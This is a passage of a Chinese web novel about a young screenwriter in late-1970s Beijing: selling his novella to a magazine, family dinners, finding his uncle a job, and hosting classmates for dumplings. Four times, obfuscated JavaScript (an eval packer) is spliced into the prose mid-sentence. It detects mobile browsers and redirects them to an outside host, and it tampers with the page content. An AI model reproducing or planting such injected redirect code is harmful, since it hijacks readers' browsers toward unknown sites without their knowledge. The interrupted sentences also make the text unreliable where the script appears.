张德凝忙点头,从包里拿出来一个信封,递给高远道:“师弟,师姐这次丢人了,回去后被林主编狠狠批评了一顿,主编说师姐鼠目寸光,只看重眼前这点儿利益,觉悟还是不够高啊。 师姐吸取教训,这不给你道歉来了么。 偌,这是三百五十块钱,我来之前从财务那里支取的,已经帮你代签过字了,你的稿费,我们《BJ文艺》顶格给,快收起来吧。 你那本《李志远》可以给我了吧?” 高远把信封接过来,笑道:“道歉可不敢当,您也是为了杂志社着想,小说,自然会给您的,这个您不用担心。” 他早有准备,也料定了张德凝会去而复返。 从布兜子里拿出一沓稿件,递给张德凝道:“这是复印件,原稿我得留着,还得改成剧本。” 张德凝立马接过去,笑成了一朵月季花,“明白,我先看看。” 她迫不及待地翻看起来,倒不是说对高远的文字没有信任感,她之前从梁晓声那里看过《瞧这一家子》的剧本,高远的文字和讲故事的水平她都非常认可。 她主要看的是这个故事。 好家伙,刚看了个开头,她就被故事吸引住了。 李志远这个人物被高远刻画得栩栩如生,他从站台灰头土脸地走出来,坐上在外面等候多时的毛驴车,跟赶车的栓娃子交流那段描写,更是看得张德凝热泪盈眶。 “李老师,你是大城市的学问人,到俺们村来受这个罪,可惜了了。” “栓娃,话不能这么说,领袖说过,广阔天地,大有作为。我这也是响应伟大领袖的号召,来农村接受贫下中农再教育的。” “李老师,你就别瞒俺了,俺听说过嘞,学问越多越**,你就是来接受改造的。” “哦?你是怎么知道的?” “前不久,俺们村小连校长带老师一共五口人全被公社革委会那帮驴货带走了。 才三天,就听说老冯校长挨不住皮鞭子抽,一头撞在墙角上,**。 人说,老校长的太阳穴上老大一个口子。 那血,混着白浆子淌到地上,渗到砖头缝里去,叫人看了……” “触目惊心?” “俺不懂,也记不住这些词儿,反正就挺吓人的。” “后来呢?老校长就白白**?” “后来?可不就白**么。革委会那些驴货还跟你解释啥吗?他们找了张草席裹裹就把老校长埋了,就埋在村西头儿乱坟岗子那儿。 校长下葬那天,那帮畜生把老师们都带过去了,说是警示、教育、端正态度、有利于改造啥的。 你没见那个场面,畜生们使一根手腕粗的麻绳,把老师们串成一串,押着走,不让抬头。 老师们戴着高帽子,挂着大牌子…… 俺不认字,也不知道那牌子上写了啥,反正不是啥好话。 但是俺眼不瞎,一眼就看出来老师们都挨了打。 俺们村小一共才四个老师啊,有三个胳臂都被打折了,那个红霞老师,女老师,让那帮驴货打得鞋都穿不上,肿的老大。 她光着脚,迈一步就一个血印子,迈一步就一个血印子。 村儿里的老少爷们儿们都掉泪了,但没一个人敢吭声。 李老师,你说,这是为啥啊? 这些教娃娃们学知识,学文化的老师们,干了啥丧尽天良的事情啊,咋就被人容不下了呢?为啥要受这么大罪呢?” 李志远抹了把泪,低下头,双拳紧握,也在心里拷问着:是啊,为啥呢? 张德凝捂着嘴,眼泪扑簌簌掉落下来。 苏牧推推眼镜,跟高远小声蛐蛐:“这是看到那一段儿了?” 显然,高远这个小团伙的组成人员们都看过他这篇小说了。 高远点点头,说道:“肯定啊,那段就在开头,能看不到吗?” “远子你有点儿缺德啊,开头就这么催人泪下,把我们几个老爷们儿看得都鼻子头发酸,眼圈子通红。”陈建功捣了高远一下。 “后面的故事不是积极向上了么。再说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15402252|168726||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,一篇好的文章,你不抓开头抓什么?抓二奶吗?”高远振振有词。 这帮货已经习惯了他的胡说八道,也习惯了他偶有惊人之言。 他们在这货的熏陶下,被动学习到很多新词儿。 比如说:泪目、悲催、渣男等等。 他们甚至明白了“**”在不同语调下表示的不同含义。 高远解读:wo读一声,cao读一声,表示轻蔑。 wo读轻声,cao读四声,表示赞赏。 wo读三声,cao读四声,表示愤怒。 wo读四声,cao读四声,表示惊叹。 wo读三声或四声,cao读二声,表示疑问。 wo读四声,cao读轻声,表示吃惊、吓一跳。 认真琢磨琢磨,大家醍醐灌顶。 好有道理啊,学到了学到了。 今儿又学了个新词儿:二奶。 陈建功叹声气,说道:“器官就器官,叫什么二奶啊,忒俗,俗不可耐!” 高远乐了,还得费劲巴拉地给他解释:“哥,此二奶非彼二奶,你可以理解为二房。” 梁左一声**,表示惊叹的意思,道:“那大房怎么解释?” 苏牧幽幽说道:“那叫原配。” “哦,通透了。”梁左摸着下巴颏说道。 你通透个粑粑。 高远默默吐了个槽。 张德凝合上稿子,泪眼朦胧吐出口气,望着高远,道:“师弟,不带你这么写的,小小年纪,你怎么能这么深刻呢?看透人生,领悟透人性似的,这可怎么得了啊。” 高远笑着解释道:“师姐您过誉了,我说实话,最终定稿前,有很多之前写过的情节是被我家先生重新修改过一遍的。 您知道,我才多大啊,虽说经历过那个岁月,毕竟印象不深刻。 先生得知我写了这么一个题材的作品后,担心我写不到点子上去,无知了,专程把稿子要过去看了一遍。 您看到的那个情节,就是在先生的指导下我又修改完善过的。” 他这么一说,张德凝也通透了,“这故事特别棒,我相信,将来拍成电影也能吸引观众们走进影院。 好了,我不跟你多聊了,得赶紧回编辑部跟林主编交差。 高远,几位师弟,回见吧。” 说完,她走了。 第72章 我要当奶奶了? 高远对陈建功几个说道:“我今晚不回寝室睡了,回家去准备准备。” 陈建功乐了,“你还真打算把我们几个当贵客招待啊?” 高远呲牙一笑,道:“也没打算整得太隆重,炒几个小菜,咱们包顿饺子呗。” 梁左笑着说:“包饺子好啊,这时节的韭菜很新鲜,包韭菜鸡蛋馅儿的呗。” 高远点头道:“没问题,我回去准备着,你们明天上午早点到,地址知道吧?” “知道,学院路30号院10号楼2单元301。”梁左门儿清。 “得嘞,走了,明天见。”高远把布书包往车把上一挂,蹁腿上了车子,一路火花带闪电地朝南门骑行过去。 “这辆大28,早晚有一天得被高老师蹂躏散架喽。”看着高老师远去的背影,陈建功感叹道。 那几个货听了这幽默的话,都放声大笑起来。 “去图书馆吗?”葛兆光问道。 “嗯,去图书馆。”梁左回答。 即便明天是周末,即便他们中有好几个家就在京城,他们也不回家,去图书馆看书学习,或者去未名湖畔读书。 他们以燃烧的激情,点燃了刻苦求学的新风尚。 不像某个人,上大学跟玩儿闹似的。 上课都得抽时间。 偏偏老师们还都特支持。 吕乃岩老师曾经在一节课上专门提到过这件事情,他说:“你们不要眼红高远同学,有能耐,你们也创作个让电影厂相中的剧本出来。 到时候,别说北影厂和八一厂这些在京机构了,上影、长影、峨影跟我们要人,我们也乐意放。” 好家伙,吕老师这话直接点燃了同学们的创作欲望。 他们绞尽脑汁地想故事、搞创作,班里几名同学还成立了编剧小组,大家利用课余时间凑在一起开动脑筋集思广益,搞集体创作。 结果…… 搞了个寂寞。 他们发现,故事不是那么好想的,剧本也不是那么好写的。 这玩意儿得有生活,要不然,硬写出来也空洞无物,别说打动电影制片厂的专业收稿编辑了,自个儿看了都觉得尴尬。 于是乎,一大批同学果断放弃了创作剧本的想法,转头去体验生活了。 他们体验生活的方式也很特别,周五晚上,要么去参加舞会,要么去看内参电影,快乐的不得了。 却说回到家的高远一进门就看见老妈在厨房里做饭。 他把布兜子放在沙发上,悄悄凑过去,刚想开口大喊一声…… 张雪梅猛地回过头来,板着脸说道:“臭小子又来这套恶作剧,你想吓死我啊?” 高远抱着老妈的肩膀嘿嘿傻笑,“这不是许久没见到母亲了,十分想念,给您个惊喜嘛。” “滚边儿去!你表达对老思念之情的方式就是把老母亲吓出心脏病来?你可真孝顺啊!” “诶我明白了,您儿子之所以有强大的创作天赋,敢情根子在您这里呢,您这口才,绝了嘿,我竟无言反驳。” 老妈白他一眼,手上动作不停,运刀如飞,一根黄瓜很快被切成薄片,“少拿好听的甜乎你妈,我还不知道你,一说软乎话保准在外面惹了祸。 老实交代吧,你又干了什么**人怨的混账事,今儿回来寻求老妈的庇护了?” 高远翻个白眼儿,道:“在您眼里儿子就这么不着调吗?我都多大了,能干什么人神共愤的混账事啊。” “跟年龄大小有个屁关系,你保不齐就……儿砸,你不会是跟哪个姑娘处对象,没控制住,把人家的肚子搞大了吧?” 张雪梅一脸惊恐,我要当奶奶了? 您这脑洞,我也是服了。 高远忙说道:“没有没有,您想哪儿去了,我这段时间都待在剧组里,要不就回学校上个课,这您都知道啊,我根本没时间处对象的。” “你待在剧组里我才更不放心啊,文艺界漂亮姑娘多,乱花渐欲迷了你的狗眼,你小子又不是个意志坚定的主儿,那些个思想开放的小姑娘们冲你勾勾手指头,你热血一上头,说不定就……” “没上头,我对灯发誓,绝对没上头。” “没上?” “没上!” 老妈你仿佛在开车啊。 张雪梅瞧着他,见他不像在撒谎,心下稍安,又问:“今儿怎么想起来回家了?” 高远从外套内兜里摸出信封来,主动上交,“您儿子有本事,又挣稿费了。” 张雪梅放下刀,转过身,结果信封打开,往里看了看,一沓大团结,惊喜道:“哟,这得有三四百块吧,你又写了个什么故事啊,挣这么多。” “嗯,350块,不是跟您说起过么,受我爸启发,写了个老师的故事。我爸呢?” 张雪梅把信封又还给他,笑道:“马上就回来了吧,你爸下午有两节课要上。” 话音刚落,高跃民推开门走了进来。 “哟,咱家大编剧得空回来了啊。”他一进门就调侃高远。 高远走过去,从老爸手里接过人造革皮包,一笑,说:“再大的编剧在您面前也只有一个身份,就是您儿砸,您就别挤兑我了。” 高跃民哈哈大笑,一眼瞅见他左手抓着的信封,“又挣稿费了?” 高远把人造革往桌子上一放,坐下后说道:“就是那篇《李志远》,被北影厂文学部的江淮延老师推荐给《BJ文艺》杂志社了,刚才杂志社的张德凝编辑才从我手里拿走了稿子,顺便帮我把稿费带过来了。” “那个中篇啊,写得不错,思想很深刻,也很有批判性,什么时候能出版?” “这我还真没问,估计这个月差不多吧,我听说各家报社、杂志社都缺稿子,为了争抢作者资源,就差上演全武行了。” 高跃民笑了,“确实如此,我们学院文学专业的同学们但凡会写几句歪诗,就会遭到杂志社编辑们的围堵,编辑们争先恐后跟他们约稿。 自打开春儿以来,明显能感觉到社会风气发生了巨大变化,文人墨客们不再像前些年那样畏畏缩缩,他们更敢说更敢写了。 前几天,我无意中翻到了一篇川蜀籍作家发表于《人民文学》 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15402253|168726||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的文章,叫《班主任》,看完以后感慨良多啊。 这篇小说深刻的批判性与揭露性,给我留下了极为深刻的印象。” 知道了,刘心武的作品嘛。 后世被誉打响为“伤痕文学”的头一炮。 高远也看过这篇小说,对小说内容就不多讲了,敏感的描写太多了,容易404。 但不可否认的是,它拉开了伤痕文学大行其道的序幕。 再过几个月,卢新华刊登于《文汇报》上的短篇小说《伤痕》,将会引发一场轰动全国的大讨论。 实话说,高远对所谓的“伤痕文学”是非常鄙视的。 他觉得,那些个以自身经历为底色,为了批判而批判,为了揭露而揭露所创作出来的作品,肤浅!滑稽!无病呻吟! “任何一个时代,都有其两面性。 作为一名作家也好,剧作家也罢,你不能只站在阴暗面上去描写这个社会的风貌,去揭露人性的丑陋,那是对读者们,对观众们极端不负责任的表现。” 高远说道。 高跃民看着他,似有所悟,道:“这就是你不去碰严肃文学的理由?” 高远点点头,坦诚道:“能让大家笑着看完一个故事,干嘛非要让大家哭呢?至于那些个深刻的思想,谁也没规定过喜剧片就不能有深刻的思想和内涵啊。” “这话对。” 张雪梅从厨房里走出来,见这爷儿俩聊上了,还聊得兴高采烈的,翻个白眼儿说道:“不吃饭了呀?聊天就能聊饱的话,咱家可就省粮食了。” 高跃民哈哈大笑,扭头问她道:“今晚吃啥啊?” “拌个黄瓜,炒个茄子。” “又吃黄瓜啊,都连吃三天了,吃不腻啊?” “那你想吃啥?” “包点馄饨呗。” “我看你像个馄饨!就这两样,爱吃不吃。” 老高一缩脖子,不吱声了。 高远乐的嘎嘎叫,老爸就这点好,只提合理化建议,但这建议被老妈认为不合理,他绝不和老妈争辩。 用他的话说,你母亲前些年跟着我受了不少苦,遭了不少罪,从没发过一句牢骚,日子有点起色了,我让着她点不是应该的嘛。 张雪梅也抿嘴乐了,转身回厨房,片刻后,剁肉馅的声音就传了出来。 晚上吃的馄饨,猪肉大葱馅的,煮好后盛出来,往碗里扔一小把虾皮、一点紫菜碎,再撒上些香菜末,点两滴香油。 哎呀,就叫一地道! “妈,咱家还有啥新鲜蔬菜吗?”高远舀了个馄饨送进嘴里,烫的嘶嘶哈哈的。 “干啥?你有朋友要来家做客啊?”张雪梅反问道。 “我们班几个同学,周天没事儿干,我邀请他们来家里吃顿饭。” “哦,行啊,家里还有黄瓜、茄子、土豆、西红柿,你要觉得不够吃,明儿一早我去菜市场再买点回来。” “您难得休息,我去吧,跟大家说好了,明儿包饺子吃,我去买点新鲜韭菜回来。” 张雪梅笑着说好,又说:“远子,妈调到海淀医院来了。” 第73章 你别记仇啊 高远眨眨眼,问道:“什么时候的事儿啊?” “上礼拜刚办完手续。” “还在外科?” “对,还在外科。” “那挺好的,不用每天一大早赶公交去南城上班了。” 张雪梅点点头,说:“是啊,离家近了。” “诶对了,我小叔最近干嘛呢?”高远突然想起高跃林来,有日子没见到他了,怪想念的。 高跃民哼了一声,说道:“提起你小叔来我就来气,前阵子街道办把他安置到机床厂工作,他干了没半天就跑了,说早知道是一线工人打死他都不会去的。 街道办的老周给我打电话让我劝劝他,他那么大的人了,我能咋劝? 再说,我劝他就听吗? 我也有段日子没见过他了,还真不知道你小叔最近在干啥。” “反正饿不死他,我小叔是个神人啊,走到哪里都有一口饭吃。”高远笑着说道。 “狐朋**多呗。”高跃民蹙着眉头道。 “什么话啊这是,也太难听了,只能说那是老三交际面广。” 张雪梅说完,叹声气,又道:“不过老这么晃着也不行啊,晃到哪天算一站?老三也30岁的人了,连个稳定工作也没有,将来讨个老婆都困难,唉……总得想办法给他安排个正经工作干啊。 还有就是,我看街面上这段儿多了很多回城的知青,他们没事儿干,就在大街上晃悠,看得人心焦。 昨儿个我在楼底下还碰到了学院后勤处的张大姐,张姐跟我念叨了两句,说光钢铁学院内部过完年回来的知识青年就有42个。 他们都在等分配呢。 有些同志为了早日解决孩子的工作问题都找到院**办公室里去了。 你们刘**口头上答应下来,说只要学院里有合适的岗位,一定安排老师们的孩子优先就业。 张姐跟我说,院领导让她们后勤处统计一下空闲岗位,结果她们一统计,能够安排内部子女工作的岗位拢共才12个。 也就是说,还有30个知青得继续等待安置办安排工作。” 高远明白老妈的意思,他蹙着眉头说道:“再不给小叔找个合适的工作,随着回城知青越来越多,想到的安置单位都很困难了。” 到了今年下半年,全京城的待业人数将猛增到19万人,到了明年,是40万待业大军。 有数字统计过,每2.7户人家就有1人待业。 我们不去讨论上山下乡这个政策如何如何,直接透过现象看本质。 上山下乡的本质,说穿了就是为了缓解第一次人口出生高峰带来的就业压力。 然而随着知青返城,又跟第二次人口高峰撞车了,又造成了大量知青处在待业状态。 这些知青没事情干,整天在街头巷尾闲晃,偷鸡摸狗、打架斗殴,成为极不稳定的社会因素。 所以,对这批人的就业安置工作,便成了这两年来国家的头等大事。 高跃民皱着眉,说道:“你们娘儿俩说的我能不明白吗,这也就是小雅争气,通过自身努力考上了大学,要不然,咱们也得想法子给她安排工作。 但是到了跃林这里,我真的一点办法都没有。 跃林什么性子你俩不了解吗? 他就不是个能稳住腚的人,别说让他去一线当工人了,我就是真给他找到个坐办公室的班上,没两天他也就烦了。” 张雪梅:“唉……” 高远乐了,“我倒是有个主意。” 老爸老妈齐刷刷放下了筷子。 “什么主意,儿砸你快说说看。” “我小叔不是闲不住么,特爱东跑西颠,那就让他去北影厂上班吧,让他加入王好为导演的创作组,先从剧务干起,帮着管管服装道具,看看库房什么的。 说不定等他混熟了,还能给您二位糊弄个大明星弟妹回来呢。” 张雪梅白他一眼,说道:“北影厂是你家开的呀,你说让你小叔去上班他就能去了?” 高远咽下一个馄饨,说:“不瞒您说啊妈,老厂长挺赏识我的,我琢磨着,周一去找老厂长问问看厂里还有没有就业安置名额,如果没有,招工名额也行啊。 我想老厂长应该会给我这个面子的。 实在不行,为了我小叔能过上安稳生活,我拼了,拿剧本跟北影厂换工作岗位我就不信老厂长不动心!” 饶是高跃民这个向来踏实稳重的人,听了高远这番话后也有点激动了。 “儿砸,难为你还想着你小叔。要不,雪梅,就让儿砸办办看吧,你说呢?” 张雪梅为这个家庭的成员们也是操碎了心,她点头道:“那就让小远帮着问汪厂长一句,能办成最好,办不成,咱们再想其他办法,总不能真让老三一天到晚游手好闲。” 拍拍高远的肩膀,高跃民说道:“吃饭吧,馄饨凉了就不好吃了。” 其实高远很想问问老爸,我大伯那么大个干部,给我小叔安排个工作还不是小菜一碟,他怎么不管不问呢? 后一想他回过味儿来,大伯那个人,原则性特别强,党性更是光芒万丈,再加上解放后刚刚重回工作岗位,更得谨小慎微,低调行事。 指望他动用公权力给小叔开后门,想都不要想。 次日一早阳光明媚。 高远拎着一网兜蔬菜走到楼下。 “哟,远子这一大早就去买菜,够勤快的呀。” 跟他打招呼的对门刘长征。 “长征叔早啊,一早去菜市场不就图个蔬菜新鲜嘛,您这是遛弯儿去?” “到门口买斤油条,你吃过了没?没吃一会儿到家来一起垫吧口。” “我吃过了,菜市场口儿一小摊上吃了俩焦圈喝了碗热豆汁儿。您忙您的,回头我找您下棋。” “就你那臭棋篓子水平,我可不跟你下,我回头找你爸下。上去吧,对了,你姐回来了。” “得嘞,回见了您。” 高远进了楼道,迈步上楼,摸出钥匙把门打开,走进去一瞧,姐姐坐在沙发上,抱着个苹果跟老妈眉飞色舞地说着什么。 “姐,你变好看了。”这货走过去,将网兜放下后打量着高雅笑嘻嘻说道。 高雅确实漂亮了些,之前土,皮肤粗糙,不健康,是因为在垦区待久了,劳动强度大,又吃不好造成的。 回来后不仅生活有保障了,爸妈弟弟变着花样做给她吃,营养跟上了,气色也就越来越好了。 高雅也笑了起来,“我也觉得皮肤细嫩了很多呢,多亏了爸妈和我弟照顾的好,我还长高了两公分呢,我都1米7了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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张雪梅一听也很高兴,笑着说:“这钱不花白不花,行啊,咱娘儿俩逛街去,别辜负了你弟一片心意。” 说走就走,老妈先回屋拿了布票,然后出来,两人换了鞋,挽着胳膊拎着包出门。 高远想了想后又说道:“你俩买了布料别忙着找缝纫店做裙子啊,我们剧组有一服装设计的高人,赶明儿我跟她要几张设计图,你俩按图制作,脚步准保踩在时髦的前列线上。” 母女俩也没多想,点头答应下来。 门轻轻关紧了。 高远又拎起网兜进了厨房,摘韭菜洗韭菜,然后放在水池里晾干,接着剁肉馅。 忙活到九点钟,门被敲响了。 他走过去开门,见陈建功、梁左、葛兆光、苏牧、小查和王晓萍六人笑嘻嘻站在门外。 “我们家不欢迎临阵倒戈的叛徒!”高远说道。 “哎呀,高老师你不要记仇嘛,我犯了错误,您也得允许人改正错误呀。 你看,我这不是又弃暗投明了么,亲哥们儿,别这么小肚鸡肠行么? 我犯糊涂了,您大人有大量,原谅我这一次吧。”小查挤到众人前面,冲高远连拱手带作揖的,就差泪流满面求原谅了。 第74章 知错能改的好同志 高远也就是跟小查逗个乐,见她服软说好话了,立马让开身子,请大家进屋。 “査建英同志,鉴于你认错态度比较诚恳,这次就算了,下次可不能再做这种背叛自己同志的事情了。” “报告高老师,我保证今后不再脱离群众,不再背弃组织,一定心向社会主义,为建设四个现代化添砖加瓦!” 这套词儿,他们不打磕巴就能对答如流,因为前些年说得太多了,都成应激反应了。 高远欣慰地点点头,说:“知错能改就还是好同志。” 大家伙儿进了屋,打量起来。 王晓萍边看边说:“高老师,你家也太干净了吧,窗明几净的,地板砖都能照出人影来。” 陈建功走到茶几前,也说:“这沙发套雪白雪白的,我都不好意思往上坐了。” 小查一眼瞧见五斗橱上立着的全家福相框,她拿起来一看,“哇,这是阿姨吧?阿姨气质真端庄,高远儿,我发现你长相随了阿姨。” 梁左凑过来说:“我瞧瞧,叔叔也很帅气啊,这是你姐?” 高远笑着说:“对,是我姐姐,这张照片是在我姐去龙江垦区插队前拍的,那年我……13?对,13。” 葛兆光咧嘴一笑,说:“嗯,看出来青涩了,像一个没熟透的苹果。” 这比喻,大家都乐不可支。 “坐啊,都别站着了。”高远笑道。 “这不是不好意思坐么,太干净了。”陈建功又说道。 高远把他摁在沙发上,说:“我母亲是个医生,你们知道的,当医生的多少会有点小洁癖,最见不得家里脏乱差,所以就定期收拾打扫。 你们别拘束,大不了弄脏了再收拾就是了。” 陈建功还是觉得不自在,又说道:“要不,大家伙儿去你屋坐会儿吧,可着你屋里祸祸,总比把整个家弄乱套强得多。” 这个提议得到了同学们的一致认可。 没等高远说话,大家直奔他的卧室而去。 房间是开着门的,同学们扫一眼就能看出来,这个房间是高远的独立空间。 “还得是高校老师们待遇高啊,现阶段,能住上三室一厅带独立卫生间楼房的可不多见。”梁左大发感慨。 小查拉开椅子往书桌前一坐,瞥梁左一眼,讥讽道:“别人说这话也就算了,大家的住房条件都一般,羡慕能理解。 丫一个住煤渣胡同十间青砖房二进四合院的家伙怎么好意思开这个牙?” 梁左也不恼,嘿嘿一笑说道:“这你就不明白了,四合院太敞,站在鼓楼子上一撩眼皮,谁家老娘们儿在洗衣服,哪对小夫妻在光屁股尽收眼底,哪有住楼房的私密性好啊。” 高远端着个小盆走进来,盆里放着洗干净的苹果、梨子,他刚好听到梁左这句话,把盆递给苏牧,让他跟大家分分,说:“丫有透视眼啊,人家小夫妻把门一关在房间里打架斗殴丫都能看得一清二楚,扯淡么这不是?” 梁左说道:“适当夸张嘛,也是戏剧的一种表现形式。” “嘁!”大家齐声喊道。 苏牧见墙上挂着把吉他,他来了兴趣,问高远道:“高老师会弹吉他吗?” 高远把吉他摘下来,扫了个和弦,笑道:“京城孩子哪有不会的。” “来一段儿来一段儿。”小查起哄道。 高远在床边坐下,将吉他抱在怀里,调了下音色,见几位好友满脸期待,他弹了曲《东方红》,同学们跟着低声哼唱起来。 接着又是一曲《太阳出来喜洋洋》,小查和王晓萍展现了一把歌喉。 梁左也是个高手,他从高远手里接过吉他,弹唱了一首《工人叔叔给我小蜡笔》,声情并茂的,引得大家一阵叫好。 眼看快十一点时,高远招呼大家一起包饺子。 几位同学奔厨房。 陈建功和葛兆光把靠墙摆放的折叠桌打开,小查自告奋勇说她和面一绝,于是领了和面的任务。 王晓萍切韭菜,高远拌肉馅。 苏牧摘着芹菜往铝盆里张望一眼,好奇地问道:“这是猪油?” “对,我提前炼出来的,放凉后拌到馅子里,我跟你说个诀窍狗狗,想让饺子馅香,倒油是关键,得分两次倒,肉馅拌完倒一半,搅匀,把韭菜搁进去后再倒入另一半,继续搅,使其锁住水分,饺子煮熟后一咬就一口汤了。” 高远笑着给大家普及小窍门。 苏牧推推眼镜,“大哥,我求你了,别叫我狗狗了行不行?太难听了。” 这个外号已经困扰苏牧很久了,班里的同学们,谁见了他都会亲切地喊一声狗子,当着首倡者的面,他脸红脖子粗又满脸正色地提要求。 大家都笑了起来。 高远抿抿嘴,说:“好,今后不喊了狗狗。” 苏牧心如死灰,芹菜叶子一把把地甩进垃圾桶里。 王晓萍把韭菜切好了。 高远拌了两样馅儿,一样韭菜肉,一样韭菜鸡蛋木耳的。 面也和好了,大家转移战场,去外屋开包。 包饺子高远没参与,他留在厨房里炒了五道菜。 西红柿炒鸡蛋、芹菜炒肉丝、油炸花生米、酸辣土豆丝、凉拌黄瓜,又切了两根红肠,凑足了六道菜。 这个年头里,做饭是基本技能。 尤其是经历过上山下乡的知识青年们,基本上都有几手绝活。 大家齐心协力,百十个白胖白胖的水饺很快包好了,整齐摆放在三个高粱杆穿成的圆盖帘上。 高远一瞧,笑着说:“小查好眼力啊,看一眼肉馅就能估算出该和多少面,馅没剩下面也没剩下,厉害了我的姐。” 小查骄傲地昂着下巴,道:“那是!也不看看我是谁,我可是做饭小能手!” 陈建功也打趣道:“谁娶到你,将来可有福了。” 小查脸一红,扭捏道:“老陈你别胡说啊,我现在的主要任务是好好学习天天向上,可没那个心思。” 大家又笑了起来。 把饭桌清空擦干净,三盖帘饺子端进厨房。 高远招呼梁左和苏牧把六道菜端上桌,问道:“喝点儿不?” 陈建功看一眼菜盘,嘿嘿笑道:“都是下酒菜啊,要不,喝点儿?” 梁左点头道:“喝点儿喝点儿,高老师别拿好酒啊,我特喝不惯茅台的酱香味儿,随 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15402255|168726||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 便喝点儿五粮液、剑南春、汾酒之类的就行。” “我看你长得确实像剑南春,你真便宜!”高远笑骂他一句,去厨房拿了两瓶二锅头回来。 小查和王晓萍都是有点酒量的,高远给老爷们儿倒满后,也给她俩各倒了半杯。 他端起酒杯说道:“欢迎大家来家里做客。” 六位同学也把酒杯端了起来,大家都说: “感谢高老师的热情招待。” “给高老师添麻烦了。” “改天去我家,我也整一桌好酒好菜请大家尝尝。” 共同喝了一杯,气氛立刻就起来了。 在北方,家宴,向来被认定为招待贵客的最高礼仪。 不论菜肴味道如何,自己动手做的就很有诚意。 高远手艺不错,炒的几道菜被大家称赞不已。 酒过三巡,小查提起个事儿来,“你们听说过没,过几天,学校又要召开批判聂元梓、孙蓬一等人的大会。” 陈建功放下酒杯,点头道:“这是今年的第二次了,也不知道什么时候是个头儿。” 高远说道:“什么时候判了,什么时候就到头了。” 他其实不太愿意聊这个话题,那帮人犯下的罪行罄竹难书。 王晓萍夹点菜,却并不往嘴里送,她说道:“我觉得,不该让同学们过度参与到这件事情中去,虽然我理解学校领导们的意图,通过这项活动能给同学们起到一个警示教育的作用,但我还是认为不妥当……” “好了,别聊这个话题了,学校这么做肯定有学校的考虑,咱们服从命令听指挥就是了。”高远打断了她接下来的话,又道:“我也听说了一事儿,78级的新生八月份来报到后,学校有意让77级跟78级一起军训啊。” 说起这个来老几位都愁眉苦脸了。 梁左唉声叹气道:“高老师,你的消息滞后了,不是有意,是已经定下来了。” “这么迅速啊。” “嗯,得提前做准备,比如说跟部队的**们协调好时间,邀请多少名官兵来校担任教官之类的,反正挺繁琐。军训时间初步定在8月25号到9月13号。” 苏牧一脸愤然道:“饭都吃不饱,训个锤子啊训。” 葛兆光乐观、通达,笑道:“或许有补贴呢。” “梦里或许有。”小查对补贴一事丝毫不抱希望。 “都怪高老师,说什么不好,起这么个头儿,讨厌**。”王晓萍埋怨了一句后眼珠儿一转,低声道:“诶你们说,有没有啥办法能逃过这次军训啊?” 高远嘿嘿一笑,道:“无非就那么几种方法,要么有重大活动要参加,要么装病,要么……你们真病了。” 大家眼珠子都亮了。 陈建功以老大哥的口气对大家说道:“我建议你们不要动这种歪心思,上山下乡期间,在那么艰苦的环境中我们都熬过来了,难道我们还惧怕区区军训吗?” 大家琢磨琢磨,好吧,你说得对。 高远冲老大哥一挑大拇指,称赞道:“陈哥的党性光芒万丈啊。” “煮饺子去!”陈建功没好气儿地说道。 “好嘞。” 第75章 夜猫子进宅,无事不来 这顿饺子宴吃得很爽。 果然如高远所说的那样,韭菜肉的一咬一包汤,韭菜鸡蛋的入口带着清香。 葛兆光差点儿热泪盈眶,他说:“我品尝出了妈妈的味道。” 高远搂着他的脖子说道:“哥,妈就算了,叫声爸听听。” “滚蛋!” “哈哈哈哈哈……” 大家伙儿在高远家待到下午四点钟,谈天说地聊文学聊创作,最后帮他把房间打扫干净才告辞离开。 高远托陈建功帮自己请天假。 陈建功问他道:“你又要去剧组了?” 高远说道:“得去看一眼了,老不去也放心不下。” 陈建功爽快答应下来。 晚上,爸妈姐姐回来后,吃了顿煎饺子,都称赞说味道不错。 老爸还对高远说:“我给你小叔打过电话了,他对去北影厂工作很感兴趣,让你尽量帮忙。” 高远说:“不是尽量帮忙,您放心,我一定会把这件事情办成。” 第二天一早,高远又吃了顿煎饺子,味道依然不错。 他蹬着自行车去北影厂。 进主楼找到汪阳的办公室,礼貌地敲了三下门。 诶敲门要敲三下,这是谁规定的有人知道吗? 